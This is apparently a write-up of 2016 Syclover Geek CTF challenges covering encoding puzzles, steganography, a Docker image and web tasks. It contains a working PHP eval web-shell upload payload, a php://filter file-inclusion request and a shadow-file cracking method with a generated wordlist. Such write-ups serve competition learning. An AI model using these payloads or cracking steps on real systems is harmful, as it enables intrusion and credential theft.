EYVE22OJZKEKVSLKVVXQSCWPJLEIVTLORDFOVTEJJLGWTSXKNLFS6KSNNSFOVSFGFHFK23QI5JXUTSEKQYHQR2TNRJEITSFJZIVGMDQJRLDC3CXKUYWISSWNJJEOUKWKZGVIRLYJNKEMWSGKZVU4UCTKZFEQVRRMN5FERKKJRKFM3CYKNLGIRCUGB2FOU2FKZLFMVTQKJJDAWSPKJVTCV2VGFSEYVTLNRKVCMLQIRJTA5DBKZWFURSVNRHFAVDMJJGVEMCOK5JTCWSOKVVVEV2SKUYUITLLOBFVEMKSIJLFMTSIKMYDKTCSNMYVKUZRJZHVIVTMK5KVMWSLKVKWIR2SGBNE4TJQJV4VIRKKJNLGWMKUKRDHATCXNN2FSU2WNRGFMMDUK5KGWVSWKZWFETSTGBYESUTLMRHFERSGJNIWW6CIKZ5E4RCXIV2FMV2VNBFFKMKOKZKGWNBQKJLEMV2WIRFEWUTKKZDVI6SJPJKVK4ZRKRCVEQSXNNHEYUZROBCFORLMKZGWYVSPKRKEURKRKZLFIVRQNRQVIRS2JRKFK6CGKNWEUS2WGFRTCUJQNBGFI23UIZKXUWSUKYYHIV2NNNLFQVTLJZEFIRLQJFJGWMD2KEYDSTKRNNYFKUJRMRKFORLTGFITCZC2KYYE4U2SGBNE2USULJLVCMKWJNJWW6CGJVVE4RCWGB2FOUZQKZGE222OJFJTCSSEKZVXGMSTGFLEYVTLLJDVEMKVPJKEKZCXKJWFUTSUKV4EMVCFJJGFMRKFPFITAMKMKVWFUR2UKZFFIVTMIJFVI222JJLGW4CSKQYUUTKWKRJFGUZRMRFVC23YJBLDCUSUKNCXIU2WNRLFMVSFORKFI2ZRLJJUMVSWKNWEMSKSNNNEOVD2JF5FKVLUK5JVMUSEK5VU4VSTGBYEYV2FMRHFGMKKJBJGYTSHKZLFUVKUKVYGCU2GLJFE2MCOJRJVIVSLKJVTCU2VGFSEYV3LJZMVKVSOIRLDANKPKNVVMTSWIZHEQU3LOBGFEVCJPFGTCVSMKRVXAWCWGFYEIV2VOBQVCMK2IZKVISSVKIYFUR2SKV2FMVSFGFGFO23UI5JTAMKDKZVXAQ2TKZSFQTLLJZEFG6SWJVJGW4ZSKUYVMSSWNJJEMVRRKZKVIVLYJNJEKWSKKZVXQWSTNRYEWVSFIZHVGMBRJRLWWTSWJZDGYTCVNNSEEV2WKZMFM2SOJVKUKSSGKJVWIV2VGB2EYVLLPBDVG6SWIVIWW5CPKEYVUTSVGFHFQVDMJJDVE22WKZKWYSSNKNVVMV2SKRFGCV3LOMYVGMKSIRLWWTSOKMYFUV2XIZDFGTLMKZGFO23QI5JVMWLZKZVTSU2TNRNEIVCVPBFFGVLQJRLDCVSUKUYWYTCVNRNFKUZRNRGFORLMMFJUKWSMKZKE4TSTNNYEQUTLHB4U2MCWJJLWW2CGKRLGIVCUNN2FOUZRNBFFM2SKKVJTC4CLKJKWYV2WIUYUWV3LPBDVEMBRIVKVK4CTKRDFMTCNGBHFUUZRKZNFMMKGKVITC2CPKRVEUR2TGFLEYVRQPBFVGMC2JZGWY4DBKMYDKS2WIVHFQVJQMRGFK23UKZGWUWSMKZCXIU2UIVLFQVSWJJJVI3CKJNLGW5COKRCVMS2VNN4EOVCUJZCFORLUKNKEKWSGKVVU4WCTKZKXSVSULJLU23C2JVJWW3CHKRLFUVKVKV2EWU3LKJBFMMKOJJJTA4CXKZCU4VKVGFHEUV3LKJDFMVS2IVKEKOKDKRKVUTSUKV4FEU2WJJGVM23TGBJEKSSMKRLGYV2TGAYUIV2FORLU2222JRLFMSSSKRCXASCWNNKXUUJRMRGE4VLYIZJTAMKMKRKXGMKWNRUFEVLMJZHVI23QJFJFK3CVKRCXQUCRNNYFOU2WJJKVEVLYINJTCUSEKZDE4SSTGAYVUURRNRMFKMLEJ5KFM3CXKQYVMYKVNN2GCURQLJHE23COKRJVM4CNKJCU4V2VGFLEYV3MLJMVKVSNPFKTANKPKRVVKMCWIV4EYU3MOBHVE23EJZJXUSSLKVVXQR2TPJLEIV2VORLFOVLIKJLEKTSZKMYXAWCSNRDFMVLMIZEFE22OI5JXUSL2KJKWYS2SGFSFUVTMJV4VGMLQJRJFMVSYKEYVMT2VNNNEMTSGKZKVIRLUMFJUKWSEJUYE4TCTNRFEYVRRMMYVCMLMJRHFK6CGKRLFURCWKVWFOTLLKZMFM3CSJZKEK4CJKJVTCTSTGA4U2ULLOREFMMBVJRKEK5CLKMYFMVSWNJFFGVDMJJDVEVTEKZGTA6CLK5VXQV2TKZNEIU3MIJFVGMC2JRHEM4CTKMYDCWSWNNLFEVJRKZHVI2SKI5JDCVTBKVKTSQ2UIZNFAVLMJZEFGMBVJNLEKTSUKUYDCTCXNN2EMVSWLJKFORLUMFKGWVSIKZVXIV2TIVNESUTLHFLVK6SKJNJWW5CYKZ5FC6SXNN2E4V2WNBBFMRLUKRKGWMK2KZVXIV2TNRFE6VLLMRDVG6SOIRGWW5CXKNWFERCXNNHFMUZRKZNFERLUKVGWYVSKKZVTKRSOIZNFIUTMIJBVEMK2JJKWW6CSKNVUUTKSGFSFUTJROBFVM3DEJBJVMTSUKQYHIV2XKVLFAVSUJJMFG3DQJRLGWTLZJUYVMTCOKV4EQV2UJJCFGVLUKNJTC2CKKZWE4VKTGFYE6USUJJLFKMLEJ5KWW6CXKEYDCTCNNN2EGUZRMRME222OJFJTA3ZRKJWFMV2RGFSEQULMOBKVCMK2IRJGW5CLKEYFUTCNGBHFAUZRLJFVMRKOK5KXUSSMK5WFUVKRGFNEYVLLMRDVMVKVGJLGWUSOKMYXARKSNNWE4UZRLJIVE23YIVIVIWSEKRCXITSXKVNFMVSGJZHVI3CKLJJDATSWK5WEMSCWNNSEOVCUJJQVK23YINJTCUSCK5VU4TSTGFYFQUTMKZMFGMKSJRLWYTSGKNLFUVCSNM4VGVKWLJIFM23ULBKEK4CNKIYVMVCVGBWEYVCWNRMVCVSSIRKTANKPJVVVKMCWNNHEOUZROBDVM23TPFGTCVSLKFVXQSKWKZSFIUSVORHVCMLIJJLVK5CWKNLFUT2SKUYVOVJQLJFVO23YK5JFKMKEKNWEER2TNNJEEVSGJZMVGMCWLJJGYVSVKMYVET2UNRSEMVBRLJCFMVLQMFITAWSKKRKVETKSGBNEWVRRMRLFKMCOJRLVM3CWJZDE4TCWIVSEOV2VLJIFM3CKKJKFKMLBKJVWITSRNRNEWULLOBEFMMKWKRJDA4ZRKRCVURSWNNHFQVDLGAYFMVLEK5ITAZCNKNVVMR2UKRHEIVBQORJVG3CSIRKTCTSNKMYHAV2XIVSE4UZRJJEFCVCSKZLVMUSUKZVTSU2UKVNEYVTMJZEFGMKKJVJEKRSPKMYHQTCTNRNFOVSWKJKFMMDUKNJGWWSSKZVU4R2UGBFEMVTLGB4U23DEJRHFK5CVKEYXARCUKVYGCUZRNBBFMMCOLFJTC4CHKJVWYV2UIV4FAVLLKJLVIVJRIRLDA4DBKRCWIVSVGFHFMUZRLJCFORKGKVGWYTSPKRWGIR2UGFNE2VCVNRQVGVS2IRGWUSSMKN5FMS2TIZLFIVCEJJGFG23ULFKVMTLZKZKWYV2VGBNFMVTMJZEFG3DQJZJGWZCOKFWFUTKRNNYEQV2WLJKFORLQK5LDAZCKKUYU4WKUNM2VMUSVHFLFO3CKJRLWWWSXKN5EUYKVNN2E6U3MKZHFMMKOJJJWYWSXKJLE2MSTGFJEYV3MNRDFOVSWKVKEKZCHKRKVUTCUKVFFGU3MJJGVM2ZQPJITA4CMKZVXQRSNNJNEYVRQNRLE23C2JBLGWUSNKMYXAT2SNMYHUUJRJZFVM23UKZJTCTSUKJVXIS2WNRSEQVCWJZLVEMC2KRJFMZCXKJCXQUCRNNJEOURQGFGFGMDUKNKEMWSMJZKU4WCTPJLEYVRQNRMFKMLEJJLGW2CHKVLFURKUKVYEWU2GLJDE2MCOKBJXUVSLKZCU4YKRGA2UYVDMLJMVGVSJPFLFK5DBKJVVK6KWNRHFOVBRJJEVM23EJZITCZCLKVVXQSCXKZJE2V3LORHFOVTIIJLEK5CUKMYUUS2SNM4VKVCFGFGFO22WI5JFISLZJVVWYYKTIVLE4VTMJZLVGMKKIRLEMTSWJVWFESSWNM2UMVSWLJGVIRJZKNKFKWSIJVWHAV2TNRFE2USFJZNFO3COJRJFM3CYK5LFERCUGB2FOTSFKZJFMVCKLBKEK4CEKJVTSU2TNRNEWTSVMRMFMMK2JNKTA5DBKZWFKMCVNJFFMU2WLJNFEVCKKZLEK6CIKFVFEVSNNJFGCV3LOBLVGVTELBHEKTSZKMYUUTKSGBWFOUJRMRGFM2SKIZLDCVTBKVVXIS2TGBNE4TLMJZGFGMKKJNLGWMKYKNWEMTCTNN2EMVSWLJKFI23EINHEKWSEKZKXQTKTGBYE2VTLMRLVK6SKJRKWWZCYKZ5FMRCWIV2E4V2VLJDFKVSOKBKGWNKJKJKXIVSXNRDEQUTLGVDVEVCOIRLDA5CXKMYVERCWGFHEUUZQOBLVMMKGKNKTAOKPKVVXQSCRGFNEYVTLNBDVC3C2IZKFKTLZKNLHATKSGFWFKVJRNRGFIVTMK5LFMUSEKYYGYV2TIVNEYVTLOBJFIMKKJBJFIUSXKZCVMS2RNNYFOVCWJZKFMVLULJLVKZCKKVVEUVSUNM2U6USWNRLVMRLYJNLWWUSXKIYUUTCNNNWE6VCFMRME2MCOLFJTANBRKJLFMVCNNRUE6VDKJJDFIMKVPJGWW6CLKEYFURSUKVJFMU3MOBGVM2ZRK5KTCZCMKZVFMRSWKZSEIVSFMRDVI23EIRLGYTSHKNWHATKSNNRXUUJQORFVK23QLBLDC4CEKNCXIT2UIVNFMVTLORLFGMK2K5LEKTSWK5WEMTKTNNUEOVCVGFGFIMDMMFJWYUSEKVWE26KTGBYEIV2FNRLVKMBVJ5KWW4CGKZLFUVKUIVSFOUSGLJCFM3CNPFJTCSSNKJCUMUCTGBJEYVDMMRDVMVSOKRLGWNKPJVVWIRCWKZFFEU3LOBEFM22WJZKEKVSMJZKXIVKRPJFEIVCVORFVM222JZKWYTSYKMYXAS2SKVWFOTLLLJEFM23IKZHEMSSMJVVXIS2UIVSFMVJRJZNFGMBVK5LUKRSVKEYU4T2UNRNFSVJRKJFVK23UMFJGYVJQKZVXQWSTNNFE2VTLGAYFCMCWJRKFM3CJKNLFS6KWGA2U6VCFLJHFM3CSJZJWY4CMKZVVMTSRPJFEWVTLOBEFOVS2KRLUK5CWK5LGISSWIRFFOVDLGQYFE2ZZKZKEISSLK5VU4R2SKUYUKVSVNRHVG3C2JZLWWTS2KNWHAV2WKRJFQUZRKJEFC3DIKVITCVSUKZKXIS2TNRNEIVCVON4VG22KJJLDC3DBKEYGITCXKZWFOVCWKV4VM2ZVJ5GWWVSYKZKXQTKUIVYESUTLON4U2MLMJVJWW5CHKMYWIVCUIV2GCUJRKZHFMRSOKVKUK4CHKJLGYV2NNRSE6VLLGFDVIMK2KVJFK3CTKRCWIWCXNNHESUZQGVCFM2ZRKZKTCZCMKZVFERSOIZNEIVRQOBFVCMK2JZGWUTSGKNWHAS2XIZLFIVJQPBGFK3C2LFJVMZCEKYYUES2UIVLEUVTLJZDVIMKKI5LGWZCOKN5EUTCXNN2FQV2WKJKFKRLUKNLGY2CCKVWE4WKTKZYESUTLGFKVIRJRJZKWW3CHKF5ES6SSKVVTCUZQLJFFKMKSINJTCWSXK5CWITSTGFJEQUTLOBDFGVS2KNKWW4DBKNCVUSCUKVZXSU32KZGVE23MKZKTC2CMKRLGYV2WKZHEIVJQGVHVGRK2KRLGW4CTKRCXAR2WNN2FOU3MLJGFI23UIZKFMZCUKMYHAV2WNNLFITTLORKVGMK2LJJFISSWKVWEUT2VNN4EOUZQGFBVO23QKNJTAZC2K5VU4SKTGFLFUUSFJZJVCMLEJBIVISSWJZWFUTKUKU2UGVCFLJHFM23YLFKUKWSLKYYWGMCRGBUEYV3MLJMVE6S2JRKGWZCHKJCVMVSWIZHFOVBQJJHFM2ZRK5KTCZCMKZVWYWCWPJLEIV2FORHFOVTEKJKTCTSXKVCXAR2SNNSFMVLMIZGVG23EK5JFISTBKVVXGMKTGFJEEVRRJZGVG6SWK5LUMRSXJVWFETCVNNNEQUJRLJKFM2ZRKNIWYWSIJVVES6KTNRFEYUSFIUYVCMLQJRKFM3CXKRLGIVCWGBSEGVRQLJGFMVLQKNJTA4CJKZVWW6KNGBWEUV3LORCVCMLEKRJFK5DBKZWGISSVNJFFGVDMJJHVEVCSKVKEK5CLK5VXQR2SPJFFIVRQOBHVIRKSIRGTATSZKMYVMWSSIVHFKUJRNBGFO3DEI5KFMUSUKIYHAS2RGBNE4VLLPBDFGVCWJVLGW5CXKV5EUTCXNN4EMTSGLJKFMRLEINLVKVS2KZWFETKUGFFESUTLMRHFGMBZJNKGW2CHKN5FMRCTKVZTCUZQKUYFK22OKRJDASLZKJVTSV2RGBNE2U3LNBDVIVCJPJLFK5DBKNWFUTSWGFHFMUZQOBGFMRSOK5KTANKIKFLGYVSNNRKXUVCFORQVERS2JBLGYTLZKNWEUTCSGFWFEVJQNBGFI3DEJBJVMZCEKZVWIR2TIVKXSVSWOBJFI3CKJ5JGWMKOKJCVESCTNN2FKUJRJZKFGVLUJNLGYUSMKVWE4WKTGFYE2UTLNRLVK3CGJBLGW4CXKNLEUVCNNNWGCVCFMRNFMRLYMFJTANKNKJLFMVKTGFHE6VDMOBKVCMKWJNKWWNKDKIYFKMCWNN4FMVCFJJFVM2ZRKRKTAVSMK5LGYSKTKZWEYV2FORLVI22WKJLGYUSNKMYHASCWNNRXSTJRIZFFM23YJBLDCWSNK5VXGMKWGBLE4VSVORKFI2ZUPFJGW5CWKMYVMTCXNNHEOU2WLJGVMVLTGFKEKZC2JVVU4RCTGFYFOV2FNRLE23C2JJLGY3CGKYYVMVCWNM2VGVCGLJEFIVKNPFJTASSMKYYWIWCVGFUEYU2WNRCVCMKSJRKTA5CXJZCVMWCWNNHEOVCWJJGVE23UJZJTAOKNKJVXAVKRGFHFIV2VORFVIRK2JZLFISSVKIYFUSKSKRNFOUSFPBGFG22SK5JVKMKMJVVWYU2TNNSFUVKWJZCVGMBVJVJGYVSTKEYDKT2TNNUEOVSWKV5E223UMFJGYWSGJVVE4VSTNRYEWVSFIZHFGMBRJRKWW6CIK5LE4TCVNN2GCUZRNBKFM23QKJKFMSSFKZVXITSRPJFEYU3LPBDFIVSSKRJUK5COK5KWQQSVKRFFQVDLGVKFEVCSKZLWYRSQKVVVUR2TPJEXUV2VOBBVIRS2JZLDCTSWKMYXAV2XIVWFOVJRNBGFO2ZVI5KFMWSLKVKXAYKTGBNEUTLMOBLVGMLQJNJGW5CQKMYWIS2WNRSEQU2WKJCFORJVKNJEKWSQKZLHAU2UIVYEQVTLKZLVIRSSJBJGW4CYKYYVMVCSKV2FUV2WKUYFKMCOKVKGYSSPKJWEMVSNNNNEUV3LPBDE22SOIRLDA4CLKRCWIWCWGFHEQU32KZGVE3CWK5ITCTSPKRWGYSCRGFLGCVLLPBFVEMC2JJLGW6CWKNLEUS2WGFWFIVJQGFGFOVTMLBJDAMKUKVVWIQ2WGBLFUVSGJZLVKRKKIVJFIUSTKUYU4SSVNN4EKUKVGVGFKRLUKZLVKWSOKZKU4WCTGFFESUSUJJLFO3CKJVJFM3CHKRKEUYKVKZBEOURRMRMFIMDUJRJWY4CMK5CUMU2TGFFEYV3MJZDVGVS2IRJGWOKTKVLFUTSNGBGXSU3MOBGVEVJRKVKTCUSMKZVU4WKRKZEXSVJQORQVMMC2JZLGWTSHKVCUUSKSNNZXSV3MJJFE4VLUI5KFMZCUKZKXIVSXKVUEUVSUJJKVEMC2JNJFKVSVKUYVUS2XNN2FOURQGFCFMMDYJNKEKZCYKRKXIWKTGFLFUVRQNRKFKMLEJ5JWWWSGKQYVK6KWGB4EWUJRLJFFK23YIZJVIVSMKIYWIWCVGA4UWVSWNRDE4RSOIRLEMQSLKRCVMWCWNRFFGVDMJJGFE23UJZIWYSSLKVVWQR2UKZSFIV2VORHVIRKWKRHGW5CYKNLFS6KSNNSFMTLLLJGFO222I5KFMSSNK5KXAV2TGFLEYVJRJZDVGMLQK5LDAYZSKUYUUUKTNNNEMVRRLF5FIRJRKNJTCWSEKZWE4VCTGFFEYUSFIUYVCMBZJRHFK6CIKVLEMVCWNM2U6U2FLJJFMVSKKJJWW4COKJVVK6KNNRSEYVTLORDFGMBRJRKFK5CPKZWGIUSWNJFFKUZRJJDFORSWK5GWYWSPKVWEMV2SGAYUITLLOBQVIRKSIRLEMTSZKMYDCWSWKZLFGUJRNBFFM22SI5JVMUSNKRKXIS2TIZNEUTLMOBLVGVTQJVJGWMKYKUYFMTCXNRNFKVJRKV4VKMDEINKGWVSSKZCXQTSUGBFE2VTLMN4VO3C2JNKGW4CGKMYVEVKRNN2EWUJRKZLFMRKOKRJTC4CYKJKXIV2TNRFEYU3LJZDVIVS2JVLFKMKHKRCVEQSWNRHFIUZROBGFEVSWLBITCUSIKFWGYRSVKZLFKVCFMRDVG3C2JBGTATLZKNVTKSKSNNZTEUJRNBGFIVTMK5LFMWSEKZKWIQ2NNNSEIVTMKJHFGMKWLJJGWMKOKEYDSTCWNNYEKUKWJZKE223UJNKEKZC2KZWE4WCTKZMTAUSWIZLFMRLYJ5IWWUSXKJLFUVCTGB2FGVCFKJBE4RKOJVJTCSSFKIYGYWCRGA4U6VDLNBDVKMKWMFKWW4CLKIYVURSNGBHFQU32KZFFMRKOMFITA3CMKJWFURSWKZEXSVSVORQVIVTIKRLGYUSNKIYVUQ2WNNKXSTLKJJFVO23UI5JTCUSUKVKXITSXKZNFMVL2JJKFGVS2IVJGYRSXKNWEMT2RNNSEOUT2JF5FMVLLGFKEKWSOKYYU4VSTGFWFUURRNRLU22ZZJJLGW6CHKZLFUVKTGBYGCURRLJGFK23UJRJVMWSNKIYWIVKVGA4UYUTMMRDFMVSNPFLGWNKPJZCVMTCWKV2FMUZQOBCFE22WKNKEMVSLJZKXIRSTGFSFIVRQORLFOVSVGBLDATSVKIYFUWSSKZHFMVSFGFFVO23YI5KHUTSEKIYHAV2TNRSFQV3LJZMVGMDQJRJFMVS2KMYVUT2UNJFEOURRKZJVK2ZRKNKFKWSKKRKVEVSTNRYEWVSFJUYFCMLMJRJWYWSVKEYVK6KUNM2VGVCFKZNFM2SOJVKUKSSFKJVWIV2VPJFEYVLLPBEFMMBRJRLEK5CHKZWFUTCUKVHFOVDMJJEFORSOKZGWYWSQKFVWIV2SKUYU2USVORJVGMKSIRLEMTSOKMYUUV2WKRJFOTLMKJEFCVCSKZLVMWSMKZVTSU2TNNNFAVTLORKFGMKKJVJGW5CVKUYWITCTKZWEMUZQGFKFM23UKJLVKUSUKZKU4VSSGBCTEVKUGA4VAVBQHU======

看到等号，首先想到base64，但是发现都是大写，没有小写，考虑到是base32解出来发现是base64,再解发现是base32这样交替循环着

1
2
3
4
5
6
import base64
word = ''
for dd in range(0,10):
    word2 = base64.b32decode(word1)
    word1 = base64.b64decode(word2)
print(word1)

flag;SYC{I_Love_You}

狗师傅的计算器(score:200)

狗师傅说fuck my brain:)。http://game.sycsec.com:50085/

解法：文件包含….打开页面，发现是

1
+++++ +++++ [ - > ++ +++++ +++ <]> ++++ +++++ +++++ +++++ <+++。 + [ - > - - <]> - + +++++ + --- ----- - <++ + [ - > + ++ <]> +++ .- -.--- ----- <+++ ++++ [ - > --- ---- <]> --- <+++++ +++ [ - > ++++ ++++ <]> ++。----- --- + +++++ ++ <

在看到robots.txt后，发现是brain fuck，下载个brainfuck.exe进行转码(将代码复制下来保存在brainfuck.exe同目录下，并命名为test.b)，结果是welcome.php。当然，也可以用Python来解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import os
import sys
 
def mainloop(program, bracket_map):
    pc = 0
    tape = Tape()
    while pc < len(program):
        code = program[pc]
        if code == ">":
            tape.advance()
        elif code == "<":
            tape.devance()
        elif code == "+":
            tape.inc()
        elif code == "-":
            tape.dec()
        elif code == ".":
            # print
            os.write(1, chr(tape.get()))
        elif code == ",":
            # read from stdin
            tape.set(ord(os.read(0, 1)[0]))
        elif code == "[" and tape.get() == 0:
            # Skip forward to the matching ]
            pc = bracket_map[pc]
        elif code == "]" and tape.get() != 0:
            # Skip back to the matching [
            pc = bracket_map[pc]
        pc += 1
 
class Tape(object):
    def __init__(self):
        self.thetape = [0]
        self.position = 0
    def get(self):
        return self.thetape[self.position]
    def set(self, val):
        self.thetape[self.position] = val
    def inc(self):
        self.thetape[self.position] += 1
    def dec(self):
        self.thetape[self.position] -= 1
    def advance(self):
        self.position += 1
        if len(self.thetape) <= self.position:
            self.thetape.append(0)
    def devance(self):
        self.position -= 1
 
def parse(program):
    parsed = []
    bracket_map = {}
    leftstack = []
    pc = 0
    for char in program:
        if char in ('[', ']', '<', '>', '+', '-', ',', '.'):
            parsed.append(char)
            if char == '[':
                leftstack.append(pc)
            elif char == ']':
                left = leftstack.pop()
                right = pc
                bracket_map[left] = right
                bracket_map[right] = left
            pc += 1
    
    return "".join(parsed), bracket_map
 
def run(fp):
    program_contents = ""
    while True:
        read = os.read(fp, 4096)
        if len(read) == 0:
            break
        program_contents += read
    os.close(fp)
    program, bm = parse(program_contents)
    mainloop(program, bm)
    
if __name__ == '__main__':
run(os.open(sys.argv[1], os.O_RDONLY, 0777))

执行python brainfuck.py xxx.bf

在看robots.txt的时候发现有个包含

1
2
3
4
$str=$_GET['syc']; //包含参数
 
if(strpos($str ,'..') > -1 || strops($str , '=/') > -1){  //过滤参数
    die('Do not hack master go :)');

觉得这道题是文件包含。看了robots.txt知道，在result.php里面有一个get请求，请求头是syc，有戏。

1
payload:http://game.sycsec.com:50085/result.php?syc=php://filter/convert.base64-encode/resource=syc

包含的其实是syc.php，只不过在末尾会默认添加php，所以写个syc就可以了。
得到一串base加密密文，拿去解密即可；
flag：SYC{php_iS_Fun}

Only number never lies to you(score:250)

http://game.sycsec.com:50082/ Only number never lies to you. Tip:dir

解法：进入界面之后Only number never lies to you 151029103521**，仔细看那一串数据，发现将5改为6,就是我现在访问的时间（只有数字不会说谎），题目提示dir—–>列目录。那目录名应该就是由数字组成的。所以应该是—->访问时间+两位数字

上传(1)(score:100)

http://game.sycsec.com:50081/

解法：试了几个上传的后缀名，上传phtml成功出flag。
flag：SYC{Ohno_y0u_f0und_me}

上传(2)(score:100)

http://game.sycsec.com:50081/接上一个题目，还有ｆｌａｇ哦!

解法：上一道题上成功后，得到上传的地址。因为是上传了一句话，所以就直接用菜刀直接连，但是连接过去提示了所上传phtml中的内容，可能大概的过滤掉了某些参数。尝试了几个

1
<script language="Php">eval ($_POST[1]);</script>

连接即可。
flag:SYC{bRa1Nf4Ck}

思考：上传2的shell和php_is_fun的shell所在的服务器是一样的，但是为什么会有不一样的权限。
为什么同一台服务器的shell权限不一样，然后就去问了客服小哥。小哥说只有一台服务器，但是题目是用docker搭建的。

你是人间四月天(score:150)

岁月不堪数 故人不知处 最是人间留不住 http://game.sycsec.com:50080/9392d16bb9fbda00/

解法：打开页面。发现两个选项都是no。
qq%e6%88%aa%e5%9b%be20161025004524
改成yes出现
想到的是伪造，然后尝试了
Referer：来源伪造—>失败
X-Forwarded-For：ip伪造—>失败
Host：指定访问的http服务器的域名/IP 地址和端口号—>成功

出现flag：SYC{Where_can_i_find_yuo_girl}

Misc

签到题(score:10)

SYC{We1c0m3_To_G33k_2O!6}

xiao彩蛋(√已完成)

听说关注微博关注后私信有彩蛋

解法：刚开始我是关注了：微博关注，果然是想太多，然后关注三叶草小组的微博之后私信发送flag就可以得到

闪的好快(score:150)

http://down.sycsec.com/misc/masterGO.7z 这是二维码吗？嗯。。。是二维码了，我靠，闪的好快。。。

解法：是一个gif动态二维码图，用GIF Movie Gear将图片打开，以此扫描即可
flag：SYC{F1aSh_so_f4sT}

Come_game(score:50)

听说游戏通关就有flag https://pan.baidu.com/s/1dE1zzWH

解法：.小基友硬玩过关得到flag,另一种解法：打开游戏，在目录下会生成一个save的文件。用Winhex01 32改成01 35，原理就是：第一关是32，过一关就+1,一共3关，所以改成35后重新进入游戏就可以通关了。
flag：SYC{6E23F259D98DF153}

###snow(score:50)
NO KEY NO FLAG http://down.sycsec.com/misc/snow.html

解法：源代码中key:syclover2016，抓包看看。
但是发现一个奇怪的地方，就是用Firefox+burpsuite抓不到包，而用chrome+burpsuite是可以的。这时候看了官方给的提示，知道是隐写题，使用snow加密的
解密命令：

1
2
snow -C -p "key" outfile
---------->SYC{HaHaHa_You_Find_Me}

这里最坑的就是，用转存的页面是解不出来的，要查看源代码，复制出来的页面才能解。

旋转跳跃(score:100)

熟悉的声音中貌似又隐藏着啥，key：syclovergeek 链接: https://pan.baidu.com/s/1hsdncKs 密码: xu5b

解法：MP3的隐写题，看到是有key的。想到了MP3Stego。

1
2
3
MP3StegoDecode.exe -X -P syclovergeek sycgeek-mp3.mp3
解开的txt里有flag
SYC{Mp3_B15b1uBiu_W0W}

凯撒部长的奖励(√已完成)

就在8月，超师傅出色地完成了上级的特遣任务，凯撒部长准备给超师傅一份特殊的奖励，兴高采烈的超师傅却只收到一长串莫名的密文，超师傅看到英语字串便满脸黑线，帮他拿到这份价值不菲的奖励吧。 密文：

1
MSW{byly_Cm_sIol_lYqUlx_yhdIs_Cn_Wuymul_il_wuff_bcg_pCwnIl_cm_u_Yrwyffyhn_guh_cz_sio_quhn_ni_ayn_bcm_chzilguncihm_sio_wuh_dich_om}

解法：丢去凯撒解密就可以了

MD5cracker(score:50)

01540f319ff0cf88928c83de23l27fbb 狗师傅说flag是解出MD5后加上SYC{}哦！

解法：因为仔细一看，发现了l，就改成了1，就直接解出来了
flag：SYC{clay}

PEN_AND_APPLE（分数：150）(√已完成)

狗师傅平日里比较害羞，但是又想追女神，于是他隐藏了一段信息在这段自拍中，这句话是他最想对女神说的话:) 你能找到信息，并帮助狗师傅表白成功么:) 视屏在这儿:)https://pan.baidu.com/s/1slu5Vwp

解法：下载下来发现是ppap，最近很火的。这道题还是等到了官方给出提示之后才做的。提示：该题目与Windows下的type命令有关 , 而且文件为rar格式压缩也印证了这一点 , 因此想到可能是NTFS流文件 , 直接使用工具(NTFS Stream Info)进行提取 , 注意在解压压缩包的时候要使用winrar , 因为只有winrar才支持保留ntfs流文件 , 解压后使用工具进行扫描提取 , 得到一张图片 , 图片中的内容即为flag

藏着小秘密的流量包（分数：200）

http://pan.baidu.com/s/1cwwdVC有一天皓宝宝没了流量只好手机来共享，顺便又从手机发了点小秘密到电脑，你能找到它吗？

解法：因为文件太大，所以怀疑。参照http://blog.sina.com.cn/s/blog_ab9229c10102wp0n.html
flag:SYC{this_is_bluetooth

Linux

1、linux_1(score:150)
这是一个docker镜像文件，答案就隐藏在深处的一个文件中，你能找到它吗？链接: https://pan.baidu.com/s/1hsjYDqk 密码: a1ux
2、linux-2(score:150)
接着找呀，还有一个flag文件
3、继续继续,听说有一个用户的密码是syc和一个生日组合的(年月日格式)，请帮忙找回它，最后flag为：SYC{用户密码}

解法：由于这三道都是同个docker镜像文件，所以统一写，如果没接触过docker
就去这里看看它的基本命令。
首先将tar文件拷贝到另外的一个docker daemon上，就可以直接通过docker load来加载镜像，之后直接 sudo docker load -i geek_linux.tar这样就可以将geek_linux.tar文件中所包含的镜像导入，加载成image的形式，之后再docker image -a就可以发现.然后就每个文件都看一下。
1.发现在/usr/local/etc/发现了geek文件夹，ls无果，有可能是隐藏的文件，用find -name “.*”，发现有个.flag打开就有flag。
2.在翻目录的时候在/root/下发现了F1Ag2.swp，这个是vim异常退出而产生的文件，vim -r F1Ag2.swp恢复，然后打开得到flag。
3.因为是用户密码，而用户密码凭据在shadow文件中，所以我们将shadow文件复制下来，用john进行破解，在弄的时候，手上的Ubuntu抽风了。
生成字典：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
# -*- coding: <utf-8> -*-
for year in range(1970,2016) :  
    for month in range(13) :  
        if month < 10 :  
            month_str = "0" + str(month)  
        else :  
            month_str = str(month)  
        for day in range(32):  
            if day < 10 :  
                day_str = "0" + str(day)  
            else :  
                day_str = str(day)  
            password = "SYC" + str(year) + month_str + day_str  
            print password

由于开始我没有考虑单数的问题，所以。。。。参考了一航同学的才想起来
flag1：SYC{L1Nux_1s_Fun_F0r_uS}
flag2：SYC{40ac6ed53f18a051}
flag3：SYC{syc19770308}

Program

compress300(score:250)

是master go就解压300层 http://down.sycsec.com/programme/300

解法：利用Python中的tarfile,zipfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
# -*- coding:utf-8 -*-
import zipfile
import tarfile
for i in range(1, 301)[::-1]:
    path = "/root/rcoil/" + str(i)
    try:
        tar = tarfile.open(path)
        tar.extractall("/root/rcoil/")
    except:
        pass
    try:
        zip = zipfile.ZipFile(path)
        zip.extractall("/root/rcoil/")
    except:
        pass

刚开始不知道是几个格式。
flag：SYC{c0Mp4esS_666_3o_O}

单身二十年，手速一定快(score:200)

http://web.sycsec.com/0b3a7c6ca7f1f2e6/ 狗师傅说这道题要跑跑脚本呢:) 跑出后找qq:3245037532 推荐一下python学习链接啦:)http://pan.baidu.com/s/1hsdTlgo

解法：Isron同学的脚本借鉴

1
2
3
4
5
6
7
8
9
import requests
s=requests.session()
url='http://web.sycsec.com/0b3a7c6ca7f1f2e6/'
url2='http://web.sycsec.com/0b3a7c6ca7f1f2e6/judge.php'
qqq=s.get(url).content #通过requests获取到网页源代码
a = qqq.count('@')-1   #利用count计数器获取@值
